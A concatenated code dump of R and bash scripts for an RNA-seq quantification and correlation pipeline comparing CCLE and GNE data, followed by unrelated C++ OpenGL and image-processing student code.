plot(df[,1], df[,4], col = "red", xlab = "CPU Time (s)", ylab = "Memory Used (GB)", main = "Memory Used During StringTie Pipeline", type = "l", ylim = c(0, lim))
legend("topleft", c("Memory Limit", "Memory Used", "IO Usage"), lty = c(1,1,1), col = c("blue", "red", "green"))
}
<file_sep>## Correlation by tissue types
load("~/Desktop/res/kallistoMatricies.RData")
ccleMatrix <- log2(ccleMatrix + 1)
gneMatrix <- log2(gneMatrix + 1)
rownames(ccleMatrix) <- as.vector(rownames(ccleMatrix))
rownames(gneMatrix) <- as.vector(rownames(gneMatrix))
curation <- read.csv("~/Desktop/rna_seq_curation/CCLE_GNE_common_profiles.csv")
curation$unique.cellid <-sapply(curation$unique.cellid , function (x) gsub(" |/", "-", x))
curation$unique.cellid <-sapply(curation$unique.cellid , function (x) gsub(",", " ", x))
curation$unique.cellid <-sapply(curation$unique.cellid , function (x) gsub(" -", "-", x))
cells <- tapply(curation$unique.cellid, list(curation$unique.tissueid), identity)
## df1: frame 1 of gene expression values in TPM
## df2: frame 2 of gene expression values in TPM
## method: "pearson" or "spearman" correlation
## returns named vector of correlation values
getCorrelationMatrix <- function(df1, df2, method) {
## Get common rows and genes
commonRows <- intersect(rownames(df1), rownames(df2))
commonGenes <- intersect(colnames(df1), colnames(df2))
df1 <- df1[commonRows, commonGenes]
df2 <- df2[commonRows, commonGenes]
## Compute correlation by row
correlation <- sapply(1:nrow(df1), function (x)
tryCatch(cor(df1[x,], df2[x,], "complete", method),
error = function(e) { NA },
warning = function(w) { NA }))
correlation <- matrix(correlation, nrow = 1)
colnames(correlation) <- commonRows
return(correlation)
}
pcor <- lapply(cells, function (x) getCorrelationMatrix(ccleMatrix[x,], gneMatrix[x,], "pearson"))
scor <- lapply(cells, function (x) getCorrelationMatrix(ccleMatrix[x,], gneMatrix[x,], "spearman"))
<file_sep>library(pbapply)
args <- commandArgs(trailingOnly = TRUE)
dir <- "kallisto_runs" ## Directory of files where files are located
## get files from given directory with kallisto files
files <- list.files(dir, recursive = TRUE)
resFiles <- grep("abundance.txt", files)
resFiles <- files[resFiles]
## Read files and convert to matrix form
message("Reading abundance.txt files from kallisto output.")
resFrames <- pblapply(1:length(resFiles), function (x) read.delim(paste0(dir, "/", resFiles[x])))
names(resFrames) <- resFiles
message("Creating kallisto matrix")
matrix <- do.call("rbind", lapply(resFrames, function (x) x$tpm))
colnames(matrix) <- resFrames[[1]]$target_id
rownames(matrix) <- sapply(rownames(matrix), function (x) gsub("abundance.txt", "", x))
## Extract CCLE/GNE matricies aand remove them from row names
message("Making matricies for each study")
ccleMatrix <- matrix[grep("CCLE", rownames(matrix)),]
gneMatrix <- matrix[grep("GNE", rownames(matrix)),]
rownames(ccleMatrix) <- sapply(rownames(ccleMatrix), function (x) gsub("/CCLE/", "", x))
rownames(gneMatrix) <- sapply(rownames(gneMatrix), function (x) gsub("/GNE/", "", x))
save(ccleMatrix, gneMatrix, file = "kallistoMatricies.RData")
message("Writing csvs")
write.csv(ccleMatrix, file = "ccle_kallisto_res.csv")
write.csv(gneMatrix, file = "gne_kallisto_res.csv")
#save(resFrames, file = "readFrames.RData")
<file_sep>#! /bin/bash
module load R
cd /mnt/work1/users/bhklab/users/adrian/tophat_runs
mkdir /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_ccle
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_ccle/$d
dir="/mnt/work1/users/bhklab/users/adrian/tophat_runs/$d"
dirName="CCLE/genes.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_ccle/$d
done
mkdir /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_gne
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_gne/$d
dir="/mnt/work1/users/bhklab/users/adrian/tophat_runs/$d"
dirName="GNE/genes.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_gne/$d
done
cd /mnt/work1/users/bhklab/users/adrian/star_runs
mkdir /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_ccle
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_ccle/$d
dir="/mnt/work1/users/bhklab/users/adrian/star_runs/$d"
dirName="CCLE/genes.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_ccle/$d
done
mkdir /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_gne
for d in */; do
mkdir /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_gne/$d
dir="/mnt/work1/users/bhklab/users/adrian/star_runs/$d"
dirName="GNE/genes.fpkm_tracking"
cp $dir$dirName /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_gne/$d
done
cd ..
Rscript /mnt/work1/users/bhklab/users/adrian/genesFPKM.R /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_ccle /mnt/work1/users/bhklab/users/adrian/res/tophat_genes_res_ccle.csv
Rscript /mnt/work1/users/bhklab/users/adrian/genesFPKM.R /mnt/work1/users/bhklab/users/adrian/genes.fpkm_tracking_gne /mnt/work1/users/bhklab/users/adrian/res/tophat_genes_res_gne.csv
Rscript /mnt/work1/users/bhklab/users/adrian/genesFPKM.R /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_ccle /mnt/work1/users/bhklab/users/adrian/res/star_genes_res_ccle.csv
Rscript /mnt/work1/users/bhklab/users/adrian/genesFPKM.R /mnt/work1/users/bhklab/users/adrian/star.genes.fpkm_tracking_gne /mnt/work1/users/bhklab/users/adrian/res/star_genes_res_gne.csv
rm -rf genes.fpkm_tracking_ccle
rm -rf genes.fpkm_tracking_gne
rm -rf star.genes.fpkm_tracking_ccle
rm -rf star.genes.fpkm_tracking_gne
<file_sep>#### R Script to parse CCLE RNA-Seq Manifest File
#### Manifest file cannot be downloaded automatically. It must be downloaded
#### manually from https://browser.cghub.ucsc.edu/search/?study=("Other_Sequencing_Multiisolate)
#### &state=(live)&limit=15&library_strategy=(RNA-Seq) by adding all of the items
#### to cart and then downloading the manifest from that.
library(XML)
## x: name of XML file
parseDoc <- function(x) {
## Obtain document tree
doc <- xmlTreeParse(x)
## Obtain root of xml tree
top <- xmlRoot(doc)
## Parse results for each result
frames <- lapply(2:(length(top) - 1), function (x) {
val <- xmlToList(top[[x]])
files <- unlist(val$files) ## files needs extra parsing because it is a sub XML node
impInfo <- data.frame(
"analysis_id" = val$analysis_id,
"file_name" = files[1],
"size" = files[2],
"analysis_data_uri"= val$analysis_data_uri) ## construct frame from important information
})
res <- do.call("rbind", frames)
return(res)
}
## Assume in dir where all manifest files present
if (!file.exists("manifest.xml")) {
stop("The manifest for CCLE RNA-Seq does not exist! Please download it from CGHub.")
}
## parse file into a df
frame <- parseDoc("manifest.xml")
## Create column cells with cell line name for each file
cells <- sapply(as.vector(t(frame["file_name"])), function (x) {
str <- sub("\\.[0-9]\\.bam", "", x) ## remove end of file name
str <- sub("\\w*\\.", "", str) ## remove front of filename
})
## Construct and write final frame
frame <- data.frame(frame, "cells" = cells, "tissueid" = NA)
write.csv(frame, file = "ccle_rnaseq_curation.csv")<file_sep>## Preprocess data and compute correlations
library(plyr)
## Load matricies into workspace
message("Loading all data")
load("all_matricies.RData")
## x: matrix of expression values in FPKM from RNA-seq quantification tool
processData <- function(x) {
x[x < 1] <- NA ## Remove values < 1 FPKM
x <- x * 10^6 / apply(x, 1, sum, na.rm = TRUE) ## Convert to tpm
x <- log2(x + 1) ## Take log2 + 1 transformation
return(x)
}
message("Processing CCLE Data")
ccle_tophat_cufflinks <- processData(ccle_tophat_cufflinks)
ccle_tophat_stringtie <- processData(ccle_tophat_stringtie)
ccle_star_cufflinks <- processData(ccle_star_cufflinks)
ccle_star_stringtie <- processData(ccle_star_stringtie)
ccle_kallisto <- log2(ccle_kallisto + 1)
message("Processing GNE Data")
gne_tophat_cufflinks <- processData(gne_tophat_cufflinks)
gne_tophat_stringtie <- processData(gne_tophat_stringtie)
gne_star_cufflinks <- processData(gne_star_cufflinks)
gne_star_stringtie <- processData(gne_star_stringtie)
gne_kallisto <- log2(gne_kallisto + 1)
args <- commandArgs(trailingOnly = TRUE)
if (args[1]) {
ccle_tophat_cufflinks <- t(ccle_tophat_cufflinks)
ccle_kallisto <- t(ccle_kallisto)
ccle_star_cufflinks <- t(ccle_star_cufflinks)
gne_kallisto <- t(gne_kallisto)
gne_star_cufflinks <- t(gne_star_cufflinks)
gne_tophat_cufflinks <- t(gne_tophat_cufflinks)
}
## df1: frame 1 of gene expression values in TPM
## df2: frame 2 of gene expression values in TPM
## method: "pearson" or "spearman" correlation
## returns named vector of correlation values
getCorrelation <- function(df1, df2, method) {
## Get common rows and genes
commonRows <- intersect(rownames(df1), rownames(df2))
commonGenes <- intersect(colnames(df1), colnames(df2))
df1 <- df1[commonRows, commonGenes]
df2 <- df2[commonRows, commonGenes]
## Compute correlation by row
correlation <- sapply(1:nrow(df1), function (x)
tryCatch(cor(df1[x,], df2[x,], "complete", method),
error = function(e) { NA },
warning = function(w) { NA }))
correlation <- matrix(correlation, nrow = 1)
colnames(correlation) <- commonRows
print(paste(length(commonRows), "found"))
return(correlation)
}
message("Calculating CCLE correlations")
ccleCorMatrixSpearman <- rbind.fill.matrix(list(
getCorrelation(ccle_tophat_cufflinks, ccle_star_cufflinks, "spearman"),
getCorrelation(ccle_kallisto, ccle_tophat_cufflinks, "spearman"),
getCorrelation(ccle_star_cufflinks, ccle_kallisto, "spearman"),
getCorrelation(ccle_tophat_cufflinks, ccle_tophat_stringtie, "spearman"),
getCorrelation(ccle_star_cufflinks, ccle_star_stringtie, "spearman"),
getCorrelation(ccle_tophat_stringtie, ccle_star_stringtie, "spearman"),
getCorrelation(ccle_kallisto, ccle_tophat_stringtie, "spearman"),
getCorrelation(ccle_kallisto, ccle_star_stringtie, "spearman")))
ccleCorMatrixPearson <- rbind.fill.matrix(list(
getCorrelation(ccle_tophat_cufflinks, ccle_star_cufflinks, "pearson"),
getCorrelation(ccle_kallisto, ccle_tophat_cufflinks, "pearson"),
getCorrelation(ccle_star_cufflinks, ccle_kallisto, "pearson"),
getCorrelation(ccle_tophat_cufflinks, ccle_tophat_stringtie, "pearson"),
getCorrelation(ccle_star_cufflinks, ccle_star_stringtie, "pearson"),
getCorrelation(ccle_tophat_stringtie, ccle_star_stringtie, "pearson"),
getCorrelation(ccle_kallisto, ccle_tophat_stringtie, "pearson"),
getCorrelation(ccle_kallisto, ccle_star_stringtie, "pearson")))
gneCorMatrixSpearman <- rbind.fill.matrix(list(
getCorrelation(gne_tophat_cufflinks, gne_star_cufflinks, "spearman"),
getCorrelation(gne_kallisto, gne_tophat_cufflinks, "spearman"),
getCorrelation(gne_star_cufflinks, gne_kallisto, "spearman"),
getCorrelation(gne_tophat_cufflinks, gne_tophat_stringtie, "spearman"),
getCorrelation(gne_star_cufflinks, gne_star_stringtie, "spearman"),
getCorrelation(gne_tophat_stringtie, gne_star_stringtie, "spearman"),
getCorrelation(gne_kallisto, gne_tophat_stringtie, "spearman"),
getCorrelation(gne_kallisto, gne_star_stringtie, "spearman")))
gneCorMatrixPearson <- rbind.fill.matrix(list(
getCorrelation(gne_tophat_cufflinks, gne_star_cufflinks, "pearson"),
getCorrelation(gne_kallisto, gne_tophat_cufflinks, "pearson"),
getCorrelation(gne_star_cufflinks, gne_kallisto, "pearson"),
getCorrelation(gne_tophat_cufflinks, gne_tophat_stringtie, "pearson"),
getCorrelation(gne_star_cufflinks, gne_star_stringtie, "pearson"),
getCorrelation(gne_tophat_stringtie, gne_star_stringtie, "pearson"),
getCorrelation(gne_kallisto, gne_tophat_stringtie, "pearson"),
getCorrelation(gne_kallisto, gne_star_stringtie, "pearson")))
message("Calculating study correlations")
studyCorMatrixSpearman <- rbind.fill.matrix(list(
getCorrelation(ccle_tophat_cufflinks, gne_tophat_cufflinks, "spearman"),
getCorrelation(ccle_star_cufflinks, gne_star_cufflinks, "spearman"),
getCorrelation(ccle_kallisto, gne_kallisto, "spearman"),
getCorrelation(ccle_tophat_stringtie, gne_tophat_stringtie, "spearman"),
getCorrelation(ccle_star_stringtie, gne_star_stringtie, "spearman")))
studyCorMatrixPearson <- rbind.fill.matrix(list(
getCorrelation(ccle_tophat_cufflinks, gne_tophat_cufflinks, "pearson"),
getCorrelation(ccle_star_cufflinks, gne_star_cufflinks, "pearson"),
getCorrelation(ccle_kallisto, gne_kallisto, "pearson"),
getCorrelation(ccle_tophat_stringtie, gne_tophat_stringtie, "pearson"),
getCorrelation(ccle_star_stringtie, gne_star_stringtie, "pearson")))
## TODO: Different cell lines in CCLE v_ GNE
## Gene reproducbility among cell lines and methods with can quantify
## gene-level expression
save(studyCorMatrixSpearman, studyCorMatrixPearson, gneCorMatrixSpearman, gneCorMatrixPearson,
ccleCorMatrixSpearman, ccleCorMatrixPearson, file = "corMatricies_aug28.RData")
<file_sep>library(testthat)
## pos: string of form <chromosome num>:<start>-<end>
getGeneChromosome <- function(pos) {
colonLoc <- regexpr(":", pos)
chromosome <- substr(pos, 1, colonLoc - 1)
return(chromosome)
}
## Unit tests
test_that("getGeneChromosome works properly", {
expect_equal(getGeneChromosome("1:169631244-169863408"), "1")
expect_equal(getGeneChromosome("13:77564794-77601330"), "13")
expect_equal(getGeneChromosome("X:64732461-64754655"), "X")
})
## pos: string of form <chromosome num>:<start>-<end>
getGeneLength <- function(pos) {
colonLoc <- regexpr(":", pos)
hyphenLoc <- regexpr("-", pos)
start <- substr(pos, colonLoc + 1, hyphenLoc - 1)
end <- substr(pos, hyphenLoc + 1, nchar(pos))
return(as.numeric(end) - as.numeric(start))
}
## Unit tests
test_that("getGeneLength works properly", {
expect_equal(getGeneLength("X:99883666-99894988"), 11322)
expect_equal(getGeneLength("20:49505584-49575092"), 69508)
expect_equal(getGeneLength("1:169631244-169863408"), 232164)
})
<file_sep>## Script to parse and visualize RNA Seq C results
library(XML)
## command line utility with the argument being the file to parse
args <- commandArgs(trailing = TRUE)
html <- args[1]
filename <- args[2]
print(paste("Parsing", html))
## Parse tables
message("Reading tables from HTML file")
tables <- readHTMLTable(html, as.data.frame=FALSE)
## Convert columns with numbers to numeric
convertColsToNumeric <- function(table) {
table <- data.frame(table, stringsAsFactors = FALSE)
numeric <- table[,!(colnames(table) %in% c("Sample", "Note"))]
numeric <- apply(numeric, 2, function (x) as.numeric(gsub(",", "", x)))
newTable <- data.frame(table[,c("Sample", "Note")], numeric)
return(newTable)
}
seqc_df <- lapply(tables, convertColsToNumeric)
seqc_df[2:5] <- lapply(seqc_df[2:5], function (x) x[,!colnames(x) %in% c("Sample", "Note")])
seqc_frame <- do.call("cbind", seqc_df)
colnames(seqc_frame) <- gsub("NULL.", "", colnames(seqc_frame))
write.csv(seqc_frame, filename)
message("DONE!")
<file_sep>library(XML)
## x: name of XML file
## dirNum: number of the directory
parseDoc <- function(x, dirNum) {
## Obtain document tree
doc <- xmlTreeParse(x)
## Obtain root of xml tree
top <- xmlRoot(doc)
## Parse results for each result
frames <- lapply(2:(length(top) - 1), function (x) {
val <- xmlToList(top[[x]])
files <- unlist(val$files) ## files needs extra parsing because it is a sub XML node
impInfo <- data.frame( "dir" = dirNum,
"analysis_id" = val$analysis_id,
"file_name" = files[1],
"size" = files[2],
"analysis_data_uri"= val$analysis_data_uri) ## construct frame from important information
})
res <- do.call("rbind", frames)
return(res)
}
## Assume in dir where all manifest files present
files <- c("manifest.xml", "manifest-48CL.xml", "manifest-703CL.xml", "manifest-155extra.xml")
## parse each file and add to frame
frame <- data.frame()
for (i in 1:length(files)) {
curDoc <- parseDoc(files[i], i)
frame <- rbind(frame, curDoc)
}
## Create column cells with cell line name for each file
cells <- sapply(as.vector(t(frame["file_name"])), function (x) {
str <- sub("\\.[0-9]\\.bam", "", x) ## remove end of file name
str <- sub("\\w*\\.", "", str) ## remove front of filename
})
## Construct and write final frame
frame <- data.frame(frame, "cells" = cells)
write.csv(frame, file = "ccle_rnaseq_curation.csv")<file_sep>library(XML)
## Input: XML file storing sample information and path info
## Output: names vector of cell line information
parseFile <- function(xml, curDirName) {
parsed <- xmlTreeParse(xml)
fileName <- parsed$doc$file
## Get sample names: SAMPLE is 1st child of SAMPLE_SET in XML doc tree
names <- xmlAttrs(parsed$doc$children$SAMPLE_SET[[1]])
## Get sample attributes
## SAMPLE_ATTRIBUTES is 5th child of SAMPLE in XML doc tree
attr <- xmlToList(parsed$doc$children$SAMPLE_SET[[1]][[5]])
if (nrow(attr) == 2 && length(attr) == 24) { ## all attributes present
## Convert matrix to named vector of tag/value to matrix
attrMatrix <- matrix(attr, dimnames = NULL, ncol = ncol(attr))
vec <- unlist(structure(attrMatrix[2,], names = attrMatrix[1,]))
}
else {
vec <- parseRaw(attr)
}
vec <- c("filename" = fileName, "dir" = curDirName, names, vec)
return(vec)
}
## parse and write files
parseAll <- function () {
setwd("/mnt/work1/users/bhklab/Data/GNE/rna-seq")
dirs <- list.files() ## Get all directorys of RNA seq data
gneFrame <- data.frame()
## Only first directory has XML info
setwd(paste0(dirs[1], "/xmls/samples"))
res <- sapply(list.files(), function (x) parseFile(x, dirs[1]))
## construct data.frame with parsedFiles
frame <- data.frame(t(res))
## write final frame
setwd("/mnt/work1/users/home2/bhcoop4")
write.csv(frame, file = "gne_rnaseq_metadata.csv")
}
parseRaw <- function(attr) {
vec <- c()
names <- c()
for (i in 1:length(a)) {
if (is.null(a[[i]][["VALUE"]])) {
vec[i] <- "NA"
}
else {
vec[i] <- a[[i]][["VALUE"]]
}
names[i] <- a[[i]][["TAG"]]
}
names(vec) <- names
return(vec)
}
<file_sep>#!/bin/bash
#$ -S /bin/bash
#$ -N star_generic
#$ -o /mnt/work1/users/home2/bhcoop4/run/logs
#$ -e /mnt/work1/users/home2/bhcoop4/run/logs
module load igenome-human/GRCh37
module load cufflinks
module load STAR
module load samtools
module load stringtie
## Usage
## CCLE: $1: study, $2 name of cell line, $3 fastq1, $4 fastq2
## GNE: $1: study, $2 name of cell line, $3 inputdir_1 $4 inputdir_2
## Navigate to file
cd /mnt/work1/users/bhklab/users/adrian/star_runs
mkdir $2
cd $2
mkdir $1
cd $1
if [ "$1" == "GNE" ]; then
echo "Running STAR"
STAR --genomeDir /mnt/work1/users/bhklab/users/adrian/GRCh37_STAR_v12 --runThreadN 12 --outSAMstrandField intronMotif --readFilesIn $3 $4 --readFilesCommand zcat
fi
if [ "$1" == "CCLE" ]; then
echo "Running STAR"
STAR --genomeDir /mnt/work1/users/bhklab/users/adrian/GRCh37_STAR_v12 --runThreadN 12 --outSAMstrandField intronMotif --readFilesIn $3 $4
fi
echo "Converting to bam file"
samtools view -bS Aligned.out.sam > Aligned.out.bam
echo "Sorting bam file"
samtools sort Aligned.out.bam Aligned.out.sorted
echo "Running cufflinks"
cufflinks --no-update-check -N -p 8 -G $GTF -o . Aligned.out.sorted.bam
echo "Running stringtie"
samtools view -h Aligned.out.sorted.bam | perl -ne 'if(/HI:i:(\d+)/) { $m=$1-1; $_ =~ s/HI:i:(\d+)/HI:i:$m/} print $_;' > Aligned.out.sorted.stringtie.bam
stringtie Aligned.out.sorted.stringtie.bam -v -o stringtie_output.gtf -p 8 -G $GTF
| 9a65bde04f058b509f4e2c4003f4d4836c0ea82e | [
"Markdown",
"R",
"Shell"
] | 22 | R | AdrianShe/rna-seq | d13729a6f77c88024fcbdaae8f9798aafeac1ead | 6618dfa0bfe274ae043952e763552dac12abdae7 |
refs/heads/master | <file_sep>#include "stdafx.h"
#include <glut.h>
#include<math.h>
static int mode = 0, num = 4;
typedef struct {
GLfloat pos[4];
GLfloat amb[4];
GLfloat dif[4];
GLfloat spe[4];
}Light;
typedef struct {
GLfloat amb[4];
GLfloat dif[4];
GLfloat spe[4];
GLfloat shi;
}Material;
Material mat = { { 0.2,0.0,0.0,1.0 },{ 1.0,1.0,0.0,1.0 },{ 1.0,1.0,0.0,1.0 },{ 100.0 } };
Light light = {
{ 0.0,2.0,2.0,1.0 },{ 1.0,1.0,1.0,1.0 },{ 1.0,1.0,1.0,1.0 },{ 1.0,1.0,1.0,1.0 } };
GLfloat vertices[][3] = { { 0.58,0.58,0.58 },{ -0.58,-0.58,0.58 },{ 0.58,-0.58,-0.58 },{ -0.58,0.58,-0.58 } };
void init()
{
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glClearColor(1.0, 1.0, 1.0, 1.0);
glColor3f(0.5, 0.5, 0.5);
glOrtho(-2.0, 2.0, -2.0, 2.0, -10.0, 10.0);
gluLookAt(2.0, 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0);
glEnable(GL_DEPTH_TEST);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
glLightfv(GL_LIGHT0, GL_POSITION, light.pos);
glLightfv(GL_LIGHT0, GL_AMBIENT, light.amb);
glLightfv(GL_LIGHT0, GL_DIFFUSE, light.dif);
glLightfv(GL_LIGHT0, GL_SPECULAR, light.spe);
glMaterialfv(GL_FRONT, GL_AMBIENT, mat.amb);
glMaterialfv(GL_FRONT, GL_DIFFUSE, mat.dif);
glMaterialfv(GL_FRONT, GL_SPECULAR, mat.spe);
glMaterialf(GL_FRONT, GL_SHININESS, mat.shi);
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
glShadeModel(GL_FLAT);
}
void normal(GLfloat *n) {
GLfloat x = sqrt(n[0] * n[0] + n[1] * n[1] + n[2] * n[2]);
if (x > 0.0)
for (int i = 0; i < 3; i++)
n[i] /= x;
}
void triangle(GLfloat* a, GLfloat* b, GLfloat* c, int count)
{
if (mode != 2)
glShadeModel(GL_FLAT);
else
glShadeModel(GL_SMOOTH);
if (mode == 0)
glBegin(GL_LINE_LOOP);
else
glBegin(GL_POLYGON);
GLfloat newver[3][3];
if (count == num) {
glNormal3fv(a);
glVertex3fv(a);
glNormal3fv(b);
glVertex3fv(b);
glNormal3fv(c);
glVertex3fv(c);
glEnd();
}
if (count < num) {
count++;
newver[0][0] = (a[0] + b[0]);
newver[0][1] = (a[1] + b[1]);
newver[0][2] = (a[2] + b[2]);
normal(newver[0]); // v1
newver[1][0] = (a[0] + c[0]);
newver[1][1] = (a[1] + c[1]);
newver[1][2] = (a[2] + c[2]);
normal(newver[1]); // v2
newver[2][0] = (b[0] + c[0]);
newver[2][1] = (b[1] + c[1]);
newver[2][2] = (b[2] + c[2]);
normal(newver[2]); // v3
triangle(a, newver[0], newver[1], count);
triangle(c, newver[1], newver[2], count);
triangle(b, newver[2], newver[0], count);
triangle(newver[0], newver[2], newver[1], count);
}
}
void keyboard_handler(unsigned char key, int x, int y)
{
/*xyz = light.pos+-=0.1
ab = amb*/
if (key == 'x')
light.pos[0] -= 0.1;
if (key == 'X')
light.pos[0] += 0.1;
if (key == 'y')
light.pos[1] -= 0.1;
if (key == 'Y')
light.pos[1] += 0.1;
if (key == 'z')
light.pos[2] -= 0.1;
if (key == 'Z')
light.pos[2] += 0.1;
if (key == 'm' || key == 'M') // mode 0->1->2->0
{
mode++;
mode %= 3;
}
if (key == 'n') // change max recursive level by -1
if (num > 0)
num--;
if (key == 'N') // change max recursive level by +1
if (num < 7)
num++;
glutPostRedisplay();
}
void display()
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glLoadIdentity();
glMaterialfv(GL_FRONT, GL_AMBIENT, mat.amb);
glMaterialfv(GL_FRONT, GL_DIFFUSE, mat.dif);
glMaterialfv(GL_FRONT, GL_SPECULAR, mat.spe);
glMaterialf(GL_FRONT, GL_SHININESS, mat.shi);
triangle(vertices[0], vertices[1], vertices[2], 0);
triangle(vertices[3], vertices[2], vertices[1], 0);
triangle(vertices[0], vertices[3], vertices[1], 0);
triangle(vertices[0], vertices[2], vertices[3], 0);
glTranslatef(light.pos[0], light.pos[1], light.pos[2]);
glutSolidSphere(0.1, 10, 10);
glLightfv(GL_LIGHT0, GL_POSITION, light.pos);
glLightfv(GL_LIGHT0, GL_AMBIENT, light.amb);
glLightfv(GL_LIGHT0, GL_DIFFUSE, light.dif);
glFlush();
glutSwapBuffers();
}
int main(int argc, char* argv[])
{
glutInit(&argc, (char**)argv);
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH);
glutInitWindowSize(500, 500);
glutCreateWindow("Sphere Shading");
glutKeyboardFunc(keyboard_handler);
glutDisplayFunc(display);
init();
glutMainLoop();
return 0;
}<file_sep>// ------------------------------------------------------------------------------------------------
// Image class Implementation file
// ------------------------------------------------------------------------------------------------
#include "stdafx.h"
#include "ImageProc.h"
#include<glut.h>
// ------------------------------------------------------------------------------------------------
// Convert to gray-scale
// ------------------------------------------------------------------------------------------------
void ImageProc::convertToGray()
{
int x, y;
byte R, G, B;
byte Gray;
for (y = 0; y < m_iHeight; y++)
{
for (x = 0; x < m_iWidth; x++)
{
getPixel(x, y, R, G, B);
Gray = xClip(0.299*R + 0.587*G + 0.114*B);
setPixel(x, y, Gray, Gray, Gray);
}
}
}
void ImageProc::convertToSepia()
{
int x, y;
byte R, G, B;
byte RR, GG, BB;
for (y = 0; y < m_iHeight; y++)
{
for (x = 0; x < m_iWidth; x++)
{
getPixel(x, y, R, G, B);
RR = xClip(R*0.393 + G * 0.769 + B * 0.189);
GG = xClip(R*0.349 + G * 0.686 + B * 0.168);
BB = xClip(R*0.272 + G * 0.534 + B * 0.131);
setPixel(x, y,RR,GG,BB);
}
}
}
void ImageProc::samplingBy2()
{ // 크기를 절반으로
int x, y;
byte R, G, B;
for (y = 0; y < m_iHeight/2; y++)
{
for (x = 0; x < m_iWidth/2; x++)
{
getPixel(x*2, y*2, R, G, B); // 1 2 3 4
m_pRGB[(y * m_iWidth / 2 * 3 + x * 3) + 0] = R; // 5 6 7 8 1 3
m_pRGB[(y * m_iWidth / 2 * 3 + x * 3) + 1] = G; // 9 10 11 12 -> 9 11
m_pRGB[(y * m_iWidth / 2 * 3 + x * 3) + 2] = B; //13 14 15 16
//getAddr return y * m_iWidth * 3 + x * 3;
}
}
m_iHeight /= 2;
m_iWidth /= 2;
}
void ImageProc::quantization(int step)
{ // 색을 절반으로
int x, y;
byte R, G, B;
byte RR, GG, BB;
if (step >=128)
step = 128;
for (y = 0; y < m_iHeight; y++)
{
for (x = 0; x < m_iWidth; x++)
{
getPixel(x, y, R, G, B);
RR = xClip(R - (R%step));
GG = xClip(G - (G%step));
BB = xClip(B - (B%step));
setPixel(x, y, RR,GG,BB);
}
}
}<file_sep>// ConsoleApplication2.cpp: 콘솔 응용 프로그램의 진입점을 정의합니다.
//
#include "stdafx.h"
#include<glut.h>
#include<stdlib.h>
#include<time.h>
#include<math.h>
static GLfloat PI = 3.141592,angle=0,angley=0;
static int tempx, tempy;
GLfloat eye[3] = { 0,0,0 }, at[3] = { 0,0,11 }, up[3] = { 0,1,0 };
void init() { // openGL 초기화
//srand(time(0));
glMatrixMode(GL_PROJECTION);
glLoadIdentity(); // 정방행렬 = 단위행렬
glClearColor(1.0, 1.0, 1.0, 1.0); // (r g b a(투명도)(1이 불투명)순서)(1이 최대값 가장 강한 색)
glColor3f(0.0, 0.0, 1.0); // 붓의 색 선택(1 0 0 --> 빨간색)
glFrustum(-1,1,-1,1,1,20); // 좌표계 크기 설정 (left,right,bottom,top)
//화면에보이는 좌표 범위
//glFrustum(-150, 150, -150, 150, -500, 500);
//gluPerspective(85.0, 1.0, 2.0, 20.0);
glEnable(GL_DEPTH_TEST); // 테스트한 결과는 DEPTH_BUFFER에 저장된다.
//glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
glMatrixMode(GL_MODELVIEW);
}
void display() {
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glLoadIdentity(); // 이게 없으면 2도 회전된 행렬에 또 4도 회전 6도 회전..
//gluLookAt(eye[0], eye[1], eye[2], at[0], at[1], at[2], up[0], up[1], up[2]);
//glRotatef(theta[0], 1.0, 0, 0); //theta만큼 y축 기준으로 회전
//glRotatef(theta[1], 0, 1.0, 0);
//glRotatef(theta[2], 0, 0, 1);
gluLookAt(eye[0], eye[1], eye[2], at[0], at[1], at[2], up[0], up[1], up[2]);
glPushMatrix();
glTranslatef(0, 0, 5); // 정면
glColor3f(1.0, 0.0, 0.0);
glutWireTeapot(1);
glPopMatrix();
glPushMatrix();
glTranslatef(0, 0, -5); // 뒤쪽
glColor3f(1.0, 0.0, 1.0);
glutWireCube(1);
glPopMatrix();
glPushMatrix();
glTranslatef(5, 0, 0); // 왼쪽
glColor3f(0.0, 1.0, 0.0);
glutWireCone(1, 1, 20, 20);
glPopMatrix();
glPushMatrix();
glTranslatef(-5, 0, 0);
glColor3f(0.0, 0.0, 1.0); // 오른쪽
glutWireTorus(0.5,0.5,20,20);
glPopMatrix();
glPushMatrix();
glTranslatef(0, 5, 0); // 위쪽
glColor3f(0.0, 1.0, 1.0);
glutWireSphere(1, 20, 20);
glPopMatrix();
glPushMatrix();
glTranslatef(0, -5, 0); // 아래쪽
glColor3f(1.0, 0.5, 0.5);
glutWireIcosahedron();
glPopMatrix();
glFlush();
}
void keyboard_handler(unsigned char key, int x, int y) {
if (key == 'w') { // 앞으로->물체크게 // 고개를 튼 방향에서도 앞으로 이동 -> 원 그려서 생각
eye[2] += 0.1*cos(angle*PI / 180.0); // z축으로 이동한 각의 cos만큼 이동
eye[0] += 0.1*sin(angle*PI / 180.0); // x축으로 이동한 각의 sin만큼 이동
at[2] += 0.1*cos(angle*PI / 180.0); // 보는 점도 위와 마찬가지
at[0] += 0.1*sin(angle*PI / 180.0);
}
